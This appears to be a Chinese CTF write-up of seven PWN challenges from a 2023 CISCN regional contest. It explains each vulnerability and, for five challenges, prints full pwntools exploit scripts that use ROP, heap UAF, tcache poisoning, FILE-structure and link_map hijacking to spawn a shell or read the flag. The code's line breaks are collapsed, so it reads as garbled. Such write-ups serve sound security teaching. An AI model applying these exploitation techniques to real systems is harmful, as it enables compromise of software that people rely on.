ciscn国赛华东南分区赛PWN方向WriteUp分享

WriteUp 10个月前 admin
242 0 0

ciscn国赛华东南分区赛PWN方向WriteUp分享

创新实践能力赛华东南分区选拔赛WriteUp分享






6月24日,由中央网信办网络安全协调局指导、教育部高等学校网络空间安全专业教学指导委员会主办、福州大学承办的第十六届全国大学生信息安全竞赛—创新实践能力赛华东南分区选拔赛圆满结束。


以下,为本次比赛PWN方向的解题思路分享:


目录

○ login

○ notepad

○ dbgnote

○ houmt

○ MaskNote

○ ezroom

○ svm


01

login

漏洞

程序没有开启 canary 和 PIE 保护,可以连续通过 read 函数输入两次,第一处 read 可以造成栈溢出,但溢出的长度只有有限的0x10,第二个 read 可以向全局变量写入。


ciscn国赛华东南分区赛PWN方向WriteUp分享


利用

由于栈溢出只能溢出有限的0x10个字节,只能覆写栈上保存的rbp指针和返回地址,因此只能先利用栈溢出将栈劫持到bss段再构造ROP。


然后正常思路是利用ROP泄露libc地址,并将system地址写回栈上来get shell。但是在ROP调用puts函数泄露地址时,需要足够的栈空间,因此需要在第一次栈劫持的时候,将栈劫持到bss的靠后位置


其次,通过puts函数的ROP泄露了libc地址之后,没有合适的gadget可以控制rdx寄存器,会导致在用read函数的ROP任意地址写的时候,程序发生崩溃。所以只能利用main函数最后的固定向bss段写入数据的代码段。


ciscn国赛华东南分区赛PWN方向WriteUp分享


这样可以再次覆写已经被劫持做栈的bss段上的数据,但是如果此时将对应的返回地址写成system的地址,并不能正常的get shell,因为system在执行的过程中,需要利用大量栈上的低地址区域,而此时的bss上方的可写区域不够!


由于通过第一次栈劫持将栈转移到bss段的位置有限,所以通过执行当前main函数中的read代码片段,会将rdx设置为一个正常的0x90,再通过read函数的ROP向更高地址的bss段写入数据,并再次进行第二次栈劫持,将栈劫持到高地址的bss段去执行system来get shell。


具体过程详见exp

from pwn import *
# context.log_level = 'debug'
io = process('./login')libc = ELF('./libc.so.6')
rl = lambda a=False : io.recvline(a)ru = lambda a,b=True : io.recvuntil(a,b)rn = lambda x : io.recvn(x)sn = lambda x : io.send(x)sl = lambda x : io.sendline(x)sa = lambda a,b : io.sendafter(a,b)sla = lambda a,b : io.sendlineafter(a,b)irt = lambda : io.interactive()dbg = lambda text=None : gdb.attach(io, text)lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))uu32 = lambda data : u32(data.ljust(4, b'x00'))uu64 = lambda data : u64(data.ljust(8, b'x00'))

bss_addr = 0x404060
leave_ret = 0x40136Erdi_ret = 0x4013d3rsi_r15_ret = 0x4013d1
read_ret = 0x401353puts_plt = 0x401090read_plt = 0x4010B0puts_got = 0x403FC0
payload1 = b'A'*0xf0payload1 += p64(bss_addr+0x68)payload1 += p64(leave_ret)sa('password:n', payload1)
payload2 = b'x00'*0x68payload2 += p64(bss_addr)payload2 += p64(rdi_ret)payload2 += p64(puts_got)payload2 += p64(puts_plt)
payload2 += p64(read_ret)sa('password:n', payload2)
libc_base = uu64(rl()) - libc.symbols['puts']lg('libc_base', libc_base)
payload3 = p64(bss_addr+0x708)payload3 += p64(rdi_ret)payload3 += p64(0)payload3 += p64(rsi_r15_ret)payload3 += p64(bss_addr+0x708)payload3 += p64(0)payload3 += p64(read_plt)payload3 += p64(leave_ret)sl(payload3)
system_addr = libc_base + libc.symbols['system']payload4 = p64(bss_addr+0x800)payload4 += p64(rdi_ret)payload4 += p64(bss_addr+0x708+0x20)payload4 += p64(system_addr)payload4 += b'/bin/shx00'sl(payload4)

irt()


02

notepad

漏洞

程序主要通过基本的堆操作实现了记事本的功能,保护全开。


ciscn国赛华东南分区赛PWN方向WriteUp分享


漏洞在 Erase 的功能中,当 free 了堆块之后,没有将相应的指针置空,只将size 清空了,存在 UAF 漏洞。


ciscn国赛华东南分区赛PWN方向WriteUp分享


利用

利用思路就是先填满 tcache ,使得释放后的堆块加入 unsorted bin 中,从而在 fd 位置残留 libc 地址,然后利用 View 功能进行 UAF 读,泄露 libc 地址。同理也可以泄露堆地址。


之后正常来说利用 UAF 写,就可以覆写 tcache的 fd 位置,完成 tcache attack 。但是,Rewrite 功能中却有限制,除了指针不为零之外,还需要 size 也不为0,可是在 Erase时,size 已经被清空,所以无法 UAF 写。但是Rewrite 时,只要指针不为零,却可以直接将前 0x10 字节清空,所以配合Erase 功能,其实可以进行 double free。


ciscn国赛华东南分区赛PWN方向WriteUp分享


用 double free 即可进行 tcache attack,但是由于环境是Glibc2.35,该版本的libc引入了堆指针保护,因此覆写 tcache 的 fd 时,需要与移位后的地址进行异或计算。最后利用 tcache attack 劫持 _IO_list_all 的 FILE 结构即可调用system。


具体过程详见exp

from pwn import *
# context.log_level = 'debug'
io = process('./notepad')# io = remote('39.98.219.2', 6655)libc = ELF('./libc.so.6')
rl = lambda a=False : io.recvline(a)ru = lambda a,b=True : io.recvuntil(a,b)rn = lambda x : io.recvn(x)sn = lambda x : io.send(x)sl = lambda x : io.sendline(x)sa = lambda a,b : io.sendafter(a,b)sla = lambda a,b : io.sendlineafter(a,b)irt = lambda : io.interactive()dbg = lambda text=None : gdb.attach(io, text)lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))uu32 = lambda data : u32(data.ljust(4, b'x00'))uu64 = lambda data : u64(data.ljust(8, b'x00'))
def menu(num): sla(b'>> ', str(num).encode("utf-8"))
def Add(size, date, content): menu(1) sla(b'size: ', str(size).encode("utf-8")) sla(b'date: ', date) sa(b'content: ', content)
def Show(page): menu(2) sla(b'page: ', str(page).encode("utf-8"))
def Del(page): menu(3) sla(b'page: ', str(page).encode("utf-8"))
def Edit(page, date, content): menu(4) sla(b'page: ', str(page).encode("utf-8")) if date != '' and content != '': sla(b'date: ', date) sla(b'content: ', content)
def Exit(): menu(5)
for x in range(8): Add(0x100, b'2023.5.1', b'A'*0x100) #0~7
Add(0x10, b'2023.5.1', b'B'*0x10) #8Add(0x10, b'2023.5.1', b'C'*0x10) #9
for x in range(8): Del(x)
Show(0)ru(b'date: ')heap_base = uu64(rl())<<12lg('heap_base: ', heap_base)
Show(7)ru(b'date: ')libc_base = uu64(rl()) - 0x219ce0lg('libc_base: ', libc_base)
Del(9)
Del(8)Edit(8, '', '')Del(8)
_IO_stdfile_2_lock = libc_base + 0x21ba60_IO_wfile_jumps = libc_base + libc.sym['_IO_wfile_jumps']system_addr = libc_base + libc.sym['system']fake_FILE_addr = heap_base + 0x970wide_data_addr = heap_base + 0x850
fake_FILE = b'/bin/shx00'fake_FILE += 13*p64(0)fake_FILE += p64(0x0000000000000002) + p64(0xffffffffffffffff)fake_FILE += p64(0x0000000000000000) + p64(_IO_stdfile_2_lock)fake_FILE += p64(0xffffffffffffffff) + p64(0x0000000000000000)fake_FILE += p64(wide_data_addr) + p64(0)fake_FILE += 2*p64(0)fake_FILE += p64(1)fake_FILE += 2*p64(0) + p64(_IO_wfile_jumps+0x30)Add(0x100, b'A'*8, fake_FILE+b'n') #10
wide_data = 3*p64(0) + p64(1) + p64(2)wide_data += 23*p64(0) + p64(wide_data_addr+0xe8-0x18)wide_data += p64(system_addr)Add(0x100, b'B'*8, wide_data+b'n') #11
IO_list_all = libc_base + libc.sym['_IO_list_all']tcache_fd_addr = heap_base + 0xba0Add(0x10, p64((tcache_fd_addr>>12)^IO_list_all), b'A'*0x10) #12Add(0x10, b'B'*8, b'B'*0x10) #13
Add(0x10, p64(fake_FILE_addr), b'C'*0x10) #14
Exit()
io.interactive()


03

dbgnote

漏洞

程序存在两处漏洞点,首先,在输入命令字符串时存在全局变量的 2 字节溢出。


ciscn国赛华东南分区赛PWN方向WriteUp分享


然后,在操作 note 时,输入 index 时还存在 1 字节的栈溢出。


ciscn国赛华东南分区赛PWN方向WriteUp分享


通过分析,还能发现,程序注册了异常信号处理的handler,如果程序 abort ,就会进入该handler,并在随后以参数 ‘dbg’ 重启整个程序。


ciscn国赛华东南分区赛PWN方向WriteUp分享


而当程序是以 ‘dbg’ 参数启动时,可以进入调试功能,在此功能中可以进行任意地址读写。


ciscn国赛华东南分区赛PWN方向WriteUp分享


利用

首先利用 ++–++–功能泄露栈地址最后 2 字节,然后在栈上布置 LD_DEBUG=all 字串。通过全局变量的 2 字节溢出漏洞修改 envp 指针的最后2字节,使其指向栈上的 LD_DEBUG=all 字串指针。然后通过 1 字节的栈溢出触发 abort,从而使得程序重启并进入调试功能(此时相当于控制了环境变量为 LD_DEBUG=all)。


程序在重启时,由于环境变量为 LD_DEBUG=all,libc就会打印调试信息,从而泄露libc地址,最后利用任意地址写去劫持 exit_handlers 函数即可。


具体过程详见exp

from pwn import *
# context.log_level = 'debug'
# io = process(['./dbgnote', 'run'])io = remote('192.168.136.134', 9999)libc = ELF('./libc.so.6')
rl = lambda a=False : io.recvline(a)ru = lambda a,b=True : io.recvuntil(a,b)rn = lambda x : io.recvn(x)sn = lambda x : io.send(x)sl = lambda x : io.sendline(x)sa = lambda a,b : io.sendafter(a,b)sla = lambda a,b : io.sendlineafter(a,b)irt = lambda : io.interactive()dbg = lambda text=None : gdb.attach(io, text)lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))uu32 = lambda data : u32(data.ljust(4, b'x00'))uu64 = lambda data : u64(data.ljust(8, b'x00'))

sla(b'UserName: ', b'LD_DEBUG=all')
sla(b' $ ', b'++--++--')ru(b'Super note: ')offset = int(rl(), 10) + 0x1clg('offset', offset)
sa(b' $ ', b'A'*0x30+p16(offset))
sla(b' $ ', b'Note_Read')sa(b'Index: ', b'0'*0x19)
ru(b'file=libc.so.6 [0];')ru(b'base: ')libc_base = int(ru(b' size:'), 16)lg('libc_base', libc_base)
leak_addr = libc_base + 0x218e08sa(b'[Addr] ', p64(leak_addr))ru(b'[Read] ')ld_base = uu64(rl()) - 0x39ac0lg('ld_base', ld_base)
# target = ld_base - 0x10000 - 0x2898 - 0x28 - 0x58target = libc_base - 0x2898 - 0x28 - 0x58sa(b'[Addr] ', p64(target))
paylaod = p64(target+0x70)paylaod += 12*p64(0)# paylaod += p64(ld_base-0x128c0) + p64(0)paylaod += p64(libc_base-0x28c0) + p64(0)paylaod += p64(target+0x80)paylaod += b'/bin/shx00'paylaod += p64(libc_base + libc.sym['system'])sa(b'[Write] ', paylaod)
irt()


04

houmt

漏洞

存在一个UAF漏洞,如下图:


ciscn国赛华东南分区赛PWN方向WriteUp分享


信息泄露

我们可申请一个0x110大小的堆块,再将其释放到相应的tcache bin当中,这时候可以直接利用UAF漏洞,通过show(0)获得到libc-2.32以上指针异或加密(Safe-Linking机制)的key,并可通过这个key左移12获得堆的基地址heap_base。


接着,将0x110对应的tcache bin释放满7个堆块,再释放的堆块将进入unsorted bin,利用上面类似的方法,即可泄露出libc的基地址libc_base。


在本题的show函数中,对输出结果进行了一个简单的加密:会将第k个字节与第k+1个字节和第0xf0-1-k个字节异或的结果输出。由于Heap和LIBC相关的地址高位都是0,且此时堆块后面的字节也均为0,而“异或”位运算又有0 ^ a = a和a ^ b = c => c ^ a = b这两大重要的性质,因此可利用这两个性质,将输出结果从后往前两两异或,即可得到原始数据。


glibc的一个缺陷

glibc存在一个缺陷,当释放一个堆块进入tcache bin的时候,仅仅通过该堆块的size找到对应的tcache bin,只会检查tcache的key字段,并不会对next chunk的size以及prev_inuse位进行检查。


相关部分源码如下:

#if USE_TCACHE  {    size_t tc_idx = csize2tidx (size);    if (tcache != NULL && tc_idx < mp_.tcache_bins)      {  /* Check to see if it's already in the tcache.  */  tcache_entry *e = (tcache_entry *) chunk2mem (p);
/* This test succeeds on double free. However, we don't 100% trust it (it also matches random payload data at a 1 in 2^<size_t> chance), so verify it's not an unlikely coincidence before aborting. */ if (__glibc_unlikely (e->key == tcache_key)) { tcache_entry *tmp; size_t cnt = 0; LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx); for (tmp = tcache->entries[tc_idx]; tmp; tmp = REVEAL_PTR (tmp->next), ++cnt) { if (cnt >= mp_.tcache_count) malloc_printerr ("free(): too many chunks detected in tcache"); if (__glibc_unlikely (!aligned_OK (tmp))) malloc_printerr ("free(): unaligned chunk detected in tcache 2"); if (tmp == e) malloc_printerr ("free(): double free detected in tcache 2"); /* If we get here, it was a coincidence. We've wasted a few cycles, but don't abort. */ } }
if (tcache->counts[tc_idx] < mp_.tcache_count) { tcache_put (p, tc_idx); return; } } }#endif


利用glibc这个缺陷,我们可以在任意地址上伪造一个堆块,保证size处于tcache的大小范围内,即可通过free将这个fake chunk释放到对应的tcache bin中,也能够将其再从tcache bin中申请出来。


因此,我们可以通过上述方式,做到在任意tcache bin中存放任意地址上的fake chunk。


劫持 tcache_perthread_struct 获得多次任意写

我们通过仅有的一次Edit,配合UAF漏洞,将此时0x110大小对应的tcache bin的链表头堆块的next指针改到tcache_perthread_struct中entries数组内存放0x110大小对应的tcache bin的链表头部指针的位置之前。


然后,就可以申请到tcache_perthread_struct中,获得一次任意地址写,我们可以根据上述的glibc缺陷,伪造好size为0x110的fake chunk,然后在entries数组中对应0x110大小的位置写入fake chunk的地址。


这样我们就可以申请出伪造的fake chunk了,之后也可以利用UAF漏洞不断对其free,然后再申请回来,修改其中entries数组中对应0x110大小的位置为任意地址,即可申请出任意地址,可进行任意地址写。


综上,重复上述不断释放再申请fake chunk,并修改其中0x110大小对应的tcache bin链表头部指针的过程,即可做到多次任意地址写


通过__malloc_assert走到IO函数

虽然本题中没有任何走IO的函数,但是可以通过触发错误,执行__malloc_assert中的IO函数。


当top chunk大小不够分配时,会执行__libc_malloc函数,其中,当top chunk的size非法时,会触发如下的断言:

assert (!victim || chunk_is_mmapped (mem2chunk (victim)) ||          ar_ptr == arena_for_chunk (mem2chunk (victim)));


assert断言失败时,会执行__malloc_assert函数:

static void__malloc_assert (const char *assertion, const char *file, unsigned int line,     const char *function){  (void) __fxprintf (NULL, "%s%s%s:%u: %s%sAssertion `%s' failed.n",         __progname, __progname[0] ? ": " : "",         file, line,         function ? function : "", function ? ": " : "",         assertion);  fflush (stderr);  abort ();}


可见,其中会执行一系列与stderr相关的IO函数。


综上,我们可以通过任意地址写top chunk的size,使得其不够下一次的分配且非法,即可走到IO函数了。


一条新的IO调用链

在本题中,不可任意写libc相关地址,但是可以任意写堆块地址或者ld相关地址,这里采用一条新的IO调用链解决。


在_IO_vtable_check函数中,若当前IO_FILE中的vtable非法,就会触发_dl_addr函数:

void attribute_hidden_IO_vtable_check (void){#ifdef SHARED  /* Honor the compatibility flag.  */  void (*flag) (void) = atomic_load_relaxed (&IO_accept_foreign_vtables);#ifdef PTR_DEMANGLE  PTR_DEMANGLE (flag);#endif  if (flag == &_IO_vtable_check)    return;
/* In case this libc copy is in a non-default namespace, we always need to accept foreign vtables because there is always a possibility that FILE * objects are passed across the linking boundary. */ { Dl_info di; struct link_map *l; if (!rtld_active () || (_dl_addr (_IO_vtable_check, &di, &l, NULL) != 0 && l->l_ns != LM_ID_BASE)) return; }......


在_dl_addr函数中,可以看到下图中call的函数指针(_rtld_global+0xf08)和rdi中的_rtld_global+0x908均位于ld中,且处于可写字段:


ciscn国赛华东南分区赛PWN方向WriteUp分享


综上,我们可以通过从tcache取出堆块时,会将key字段清空的特性,将_IO_2_1_stderr的vtable置为0,然后再利用上述__malloc_assert中走到的IO函数在调用前对stderr的虚表检查不通过,执行到_dl_addr函数,若在之前利用任意地址写劫持了函数指针和rdi对应的ld内存区域,即可get shell或布置ROP绕过沙盒。


沙盒的绕过

开了沙盒需要orw的题目,经常使用setcontext控制rsp,进而跳转过去调用ROP链,在本题的libc-2.33中,控制setcontext的寄存器为rdx,起始位置为setcontext+61。


然而,_dl_addr中可直接控制的寄存器为rdi,因此需要通过以下的gadget进行rdi与rdx间的转换:

mov rdx, qword ptr [rdi + 8]mov qword ptr [rsp], raxcall qword ptr [rdx + 0x20]


最后,来看一下本题的沙盒:

 line  CODE  JT   JF      K================================= 0000: 0x20 0x00 0x00 0x00000004  A = arch 0001: 0x15 0x00 0x04 0xc000003e  if (A != ARCH_X86_64) goto 0006 0002: 0x20 0x00 0x00 0x00000000  A = sys_number 0003: 0x15 0x00 0x01 0x000000e7  if (A != exit_group) goto 0005 0004: 0x06 0x00 0x00 0x7fff0000  return ALLOW 0005: 0x35 0x00 0x01 0x00000028  if (A < 0x28) goto 0007 0006: 0x06 0x00 0x00 0x00000000  return KILL 0007: 0x15 0x00 0x01 0x00000003  if (A != close) goto 0009 0008: 0x06 0x00 0x00 0x00000000  return KILL 0009: 0x15 0x00 0x01 0x00000011  if (A != pread64) goto 0011 0010: 0x06 0x00 0x00 0x00000000  return KILL 0011: 0x15 0x00 0x01 0x00000013  if (A != readv) goto 0013 0012: 0x06 0x00 0x00 0x00000000  return KILL 0013: 0x15 0x00 0x05 0x00000000  if (A != read) goto 0019 0014: 0x20 0x00 0x00 0x00000014  A = fd >> 32 # read(fd, buf, count) 0015: 0x15 0x00 0x08 0x00000000  if (A != 0x0) goto 0024 0016: 0x20 0x00 0x00 0x00000010  A = fd # read(fd, buf, count) 0017: 0x15 0x00 0x06 0x00000000  if (A != 0x0) goto 0024 0018: 0x06 0x00 0x00 0x7fff0000  return ALLOW 0019: 0x15 0x00 0x03 0x00000001  if (A != write) goto 0023 0020: 0x20 0x00 0x00 0x00000020  A = count # write(fd, buf, count) 0021: 0x15 0x00 0x02 0x00000001  if (A != 0x1) goto 0024 0022: 0x06 0x00 0x00 0x7fff0000  return ALLOW 0023: 0x15 0x00 0x01 0x00000012  if (A != pwrite64) goto 0025 0024: 0x06 0x00 0x00 0x00000000  return KILL 0025: 0x06 0x00 0x00 0x7fff0000  return ALLOW

可以看到,限制了read的fd必须为0,且禁用了close,因此无法通过先close(0)再open(“flag”)的常用方式绕过了,且禁用了readv和pread64。但是,我们可以用mmap来代替read,将open(openat被禁用)打开的flag文件内容通过其对应的fd映射到开辟的某段内存空间中。并且,可以关注到write每次只能输出一个字节,这样是比较麻烦的,但并未禁用writev,故用writev代替write输出flag即可。


exp

from pwn import *context(os = "linux", arch = "amd64", log_level = "debug")
io = process("./houmt")libc = ELF("./libc.so.6")ld = ELF("./ld.so")
def add(content):  io.sendlineafter("Please input your choice > "b'1') io.sendafter("Please input the content : n", content)
def edit(idx, content):  io.sendlineafter("Please input your choice > "b'2')  io.sendlineafter("Please input the index : ", str(idx))  io.sendafter("Please input the content : n", content)
def free(idx):  io.sendlineafter("Please input your choice > "b'3') io.sendlineafter("Please input the index : ", str(idx))
def show(idx):  io.sendlineafter("Please input your choice > "b'4') io.sendlineafter("Please input the index : ", str(idx))
def quit():  io.sendlineafter("Please input your choice > "b'5')if __name__ == '__main__':  for i in range(8):    add("n"# 0~7  free(0)  show(0)  leak = []    for i in range(5):    leak.append(u8(io.recv(1)))    for i in range(3-1-1):    leak[i] = leak[i] ^ leak[i+1]  t = b''    for i in range(5):    t = t + p8(leak[i])  key = u64(t.ljust(8b'x00'))  success("key:t" + hex(key))  heap_base = key << 12;  success("heap_base:t" + hex(heap_base))   for i in range(16):    free(i)  free(7)  free(6)  show(6) leak.clear()
  for i in range(6): leak.append(u8(io.recv(1)))
  for i in range(4-1-1):    leak[i] = leak[i] ^ leak[i+1] t = b''
  for i in range(6):    t = t + p8(leak[i])  libc_base = u64(t.ljust(8b'x00')) - libc.sym['__malloc_hook'] - 0x70  success("libc_base:t" + hex(libc_base))  ld_base = libc_base + 0x1ee000
  edit(7, p64(key ^ (heap_base + 0xf0)))  add("n"# 8 add(p64(0) + p64(0x111) + p64(0) + p64(heap_base + 0x100)) # 9
  magic_gadget = libc_base + 0x14a0a0  add(p64(0) + p64(ld_base + ld.sym['_rtld_global'] + 0xf90)) # 10  add(p64(magic_gadget)) # 11
  address = libc_base + libc.sym['__free_hook']  frame = SigreturnFrame()  frame.rdi = 0  frame.rsi = address  frame.rdx = 0x100  frame.rsp = address frame.rip = libc_base + libc.sym['read']
  free(10)  add(p64(0) + p64(ld_base + ld.sym['_rtld_global'] + 0x980)) # 12  add(p64(0)*2 + p64(ld_base + ld.sym['_rtld_global'] + 0x988) + p64(0)*2 + p64(libc_base + libc.sym['setcontext'] + 61) + bytes(frame)[0x28:]) # 13 
  free(10)  add(p64(0) + p64(libc_base + libc.sym['_IO_2_1_stderr_'] + 0xd0)) # 14  io.sendlineafter("Please input your choice > "b'1')
  free(10)  add(p64(0) + p64(heap_base + 0xb10)) # 15  add(p64(0) + p64(0x88)) # 16  add("n"# 17 io.sendlineafter("Please input your choice > ", b'1') # 18
  pop_rax_ret = libc_base + 0x44c70  pop_rdi_ret = libc_base + 0x121b1d  pop_rsi_ret = libc_base + 0x2a4cf  pop_rdx_ret = libc_base + 0xc7f32  pop_rcx_rbx_ret = libc_base + 0xfc104  pop_r8_ret = libc_base + 0x148686 syscall = libc_base + 0x6105a
  orw_rop = p64(pop_rdi_ret) + p64(address + 0xd0)  orw_rop += p64(pop_rsi_ret) + p64(0)  orw_rop += p64(pop_rax_ret) + p64(2) + p64(syscall)  orw_rop += p64(pop_rdi_ret) + p64(0x80000)  orw_rop += p64(pop_rsi_ret) + p64(0x1000) orw_rop += p64(pop_rdx_ret) + p64(1)  orw_rop += p64(pop_rcx_rbx_ret) + p64(1) + p64(0)  orw_rop += p64(pop_r8_ret) + p64(3)  orw_rop += p64(libc_base + libc.sym['mmap'])  orw_rop += p64(pop_rdi_ret) + p64(1)  orw_rop += p64(pop_rsi_ret) + p64(address + 0xd8)  orw_rop += p64(pop_rdx_ret) + p64(1)  orw_rop += p64(libc_base + libc.sym['writev']) orw_rop += b'./flagx00x00' + p64(0x80000) + p64(0x50)
  io.send(orw_rop) io.interactive()


05

MaskNote

漏洞

漏洞位于源码的167行:

void vuln(){  char Masked_name[0x80];  memset(Masked_name,0,0x80);  printf(BLUE "Nice to meet you!n" NONE);  printf(GREEN "your name:" NONE);  read(0,name,0x80);  printf(GREEN "Mask:" NONE);  read(0,Mask,100);  check_Mask(Mask);  sprintf(Masked_name,Mask,name);

这里的check_Mask函数没有禁用%c格式化字符,导致在sprintf的时候,使用%c格式化字符就会存在栈溢出


利用

由于没开pie和canary,而且name是具有0x80可写可读可执行的字符数组,于是可以考虑栈溢出ret2shellcode进行ORW利用


06

ezroom

漏洞

程序实现了一个简单的二叉排序树,可以切换idx来切换到不同的根节点同时给出了一个exchange选项来把一棵树上的某个节点移动到另一棵树上。


利用

分析程序可以发现exchange时出现指针未置0,很明显可以uaf,但是程序有check函数来检测父亲节点指针是否正确;即cur->father->child == cur注意到check函数只检测了int16_t 即二字节的内容,因此可以通过堆风水构造绕过check实现UAF。


具体表现为两个chunk之间地址正好差0x10000 就可以绕过check


之后就是2.35任意地址读写的内容了


用uaf+tcache任意地址写 使用house of banana即可


exp

from socket import timeoutfrom pwn import *import re# context.terminal = ['tmux','sp','-h']# context.log_level = 'DEBUG'# context.arch = 'amd64'context.os = 'linux'libc = ELF("./libc.so.6")
# sh = process('./ezroom')def menu(choice): sh.recvuntil("Choice:n",timeout=0.5)    sh.sendline(str(choice))
def add(size,content,value): menu(1) sh.recvuntil("size?n") sh.sendline(str(size)) sh.recvuntil("Content?n") sh.sendline(content) sh.recvuntil("value?n") sh.sendline(str(value))
def delete(idx): menu(2) sh.recvuntil("val?n") sh.sendline(str(idx))def show(value): menu(3) sh.recvuntil("val?n") sh.sendline(str(value)) data = sh.recv(6) return datadef edit(idx,content): menu(4) sh.recvuntil("val?n") sh.sendline(str(idx)) sh.recvuntil("Input:n") sh.sendline(content)
def exchange(from_value,to_value,to_idx): menu(5) sh.recvuntil("val?n") sh.sendline(str(from_value)) sh.recvuntil("val?n") sh.sendline(str(to_value)) sh.recvuntil("Where?n") sh.sendline(str(to_idx))
def change_tree(idx): menu(6) sh.recvuntil("Where?n") sh.sendline(str(idx))off = 0xfwhile(1): sh = remote("127.0.0.1",9999)
add(0x470,"5",5) add(0x470,"4",4) add(0x470 - 0xe0,"7",7) add(0x90,"3",3) add(0x90,"2",2) change_tree(4)
add(0x470,"aaa",5) add(0x470,"aaa",4) add(0x470-0xe0,"aaa",6)


change_tree(2) for i in range(13): add(0x1000-0x10,'pad',i+1) add(0xA40,"pad",14)
change_tree(3) for i in range(7): add(0x80,'pad',i+1) # add(0x470,'pad',18)
# change_tree(0)
change_tree(1) add(0x470,"5",5) add(0x470,"4",4) add(0x470 - 0xe0,"7",7) add(0x90,"3",3) add(0x470,"9",9) add(0x90,"2",2) add(0x90,"6",6) exchange(2,3,0)
# add(0x90,"bbb",11) # # add(0x90,"bbb",12) #
change_tree(3) # for i in range(7): # add(0x80,'pad',i+1) delete(1)
change_tree(1)
delete(2) change_tree(0) key = u64(show(2)[:-1].ljust(8,b'x00')) heap_base = ((key) << 12) - 0x11000 log.info("key = " + hex(key)) log.success("heap_base = " + hex(heap_base)) change_tree(1) exchange(9,7,0) delete(9) change_tree(0) libc_base = u64(show(9).ljust(8,b'x00')) - 0x219CE0 log.success("libc_base = " + hex(libc_base))
ld_base = libc_base + 0x21b000 + off * 0x1000 try: change_tree(1) exchange(6,7,0) delete(6) change_tree(0)
# rtld_global = 0x264040 + libc_base rtld_global = ld_base + 0x3A040 l_next = ld_base + 0x3B890 # rtld_global = 0x26D040 + libc_base # l_next = 0x26E890 + libc_base # l_next = 0x265890 + libc_base setcontext = libc_base + libc.sym['setcontext'] + 0x3D ret = libc_base + libc.sym['setcontext'] + 0x14E rdi_ret = 0x000000000002a3e5 + libc_base rsi_ret = 0x000000000002be51 + libc_base rdx_r12_ret = 0x000000000011f497 + libc_base rax_ret =0x0000000000045eb0 + libc_base gadget = 0x00000000001675b0 + libc_base
fake_link_map_addr = heap_base + 0x2d0 flag_addr = fake_link_map_addr + 0x300 rop=p64(rdi_ret)+p64(flag_addr) rop+=p64(rsi_ret)+p64(0) rop+=p64(libc_base + libc.symbols['open']) #read rop+=p64(rdi_ret)+p64(3) rop+=p64(rsi_ret)+p64(heap_base+0x1000) rop+=p64(rdx_r12_ret)+p64(0x50)+p64(0) rop+=p64(libc_base + libc.symbols['read']) #write rop+=p64(rdi_ret)+p64(1) rop+=p64(rsi_ret)+p64(heap_base+0x1000) rop+=p64(rdx_r12_ret)+p64(0x50)+p64(0) rop+=p64(libc_base + libc.symbols['write'])

#heap #0x10:头部 pd = p64(0) + p64(l_next) + p64(0) pd += p64(fake_link_map_addr) #0x28:l_real pd = pd.ljust(0x38 , b'x00') pd += p64(fake_link_map_addr + 0x58) #0x48:array的值 pd += p64(8) #0x50:i*8的值 pd += p64(ret) # first call pd = pd.ljust(0xa8 - 0x10, b'x00') pd += p64(fake_link_map_addr +0x200) #0x58:目标函数 pd = pd.ljust(0xF8 - 0x10, b'x00') pd += p64(fake_link_map_addr + 0x230) pd += p64(ret)

pd = pd.ljust(0x100, b'x00') pd += p64(fake_link_map_addr + 0x40) #0x110 pd = pd.ljust(0x110, b'x00') pd += p64(fake_link_map_addr + 0x48) #0x120 pd = pd.ljust(0x200 -0x10 + 0x8, b'x00') pd += p64(setcontext) pd = pd.ljust(0x230 -0x10, b'x00') pd += rop pd = pd.ljust(0x2f0, b'x00') pd += b"./flagx00x00" pd = pd.ljust(0x30c, b'x00') pd += p64(0x9) #0x31c:l_init_called # gdb.attach(sh)
edit(5,pd) edit(6,p64(rtld_global ^ key)) change_tree(6)
add(0x90,"zzz",5) add(0x90,p64(fake_link_map_addr + 0x10 )+p64(4)[:-1],6) sh.recvuntil("Choice:") sleep(0.5)
sh.sendline("7") data_recv = sh.recvall(timeout=1) if b"flag" in data_recv: flag = re.findall(b"flag{(.*)}",data_recv) else: raise EOFError except EOFError: off += 1 sh.close() log.info("off = " + hex(off)) if(off >= 0xff): off = 0 continue else: print(b"flag{" + flag[0] + b"}") sh.interactive()


07

svm

逆向分析

查看保护


ciscn国赛华东南分区赛PWN方向WriteUp分享


no relro且未开启pie保护


用ida打开附件


ciscn国赛华东南分区赛PWN方向WriteUp分享


逐个分析


ciscn国赛华东南分区赛PWN方向WriteUp分享


读入code,code缓冲区位于栈上,大小为0x640,最多可读取199个自定义code,在最后一个code处会填充0xffffffff


判断输入的第一个字符是否是空白符来进行输入截断


ciscn国赛华东南分区赛PWN方向WriteUp分享


vm逻辑,具有多个case对不同的code进行处理


ciscn国赛华东南分区赛PWN方向WriteUp分享


将每条code执行后的结果经由snprintf格式化后调用printf与write分别向fd和标准输出中写入


其中fd的来源在以下函数


ciscn国赛华东南分区赛PWN方向WriteUp分享


程序将此函数放置在init_array中,在初始化时被调用


该函数首先用access判断tmp目录下log.txt文件是否存在,若存在则调用unlink删除,并在后续使用open函数配合O_CREAT flag重新创建log.txt


将返回的fd赋给全局变量fd


同时注意到在init_array中还存在其他几个函数


ciscn国赛华东南分区赛PWN方向WriteUp分享


其中sub_4014b4作用为初始化输入输出流缓冲区


ciscn国赛华东南分区赛PWN方向WriteUp分享


sub_401505则调用了prctl对程序设置了沙盒


ciscn国赛华东南分区赛PWN方向WriteUp分享


通过seccomp-tools工具提取沙盒规则


ciscn国赛华东南分区赛PWN方向WriteUp分享


为白名单模式


只允许使用上面出现的syscall,这表明无法使用execve来完成RCE,需要通过orw来get flag


分析vm函数逻辑


ciscn国赛华东南分区赛PWN方向WriteUp分享


注意到各个case只使用了两个函数sub_401353和sub_401316


进入分析这两个函数的逻辑


ciscn国赛华东南分区赛PWN方向WriteUp分享


ciscn国赛华东南分区赛PWN方向WriteUp分享


可以看到这两个函数较为简单,且前者读取了一个值并返回,后者将参数放入数组中并返回放入数组中的值


观察函数行为,可以发现数组第一个元素起到标识数组写入起始的作用,联想栈数据结构的操作模式,不难知晓这就是栈的push与pop操作


那么容易知道这个vm函数实际就是一个栈式虚拟机的实现


ciscn国赛华东南分区赛PWN方向WriteUp分享


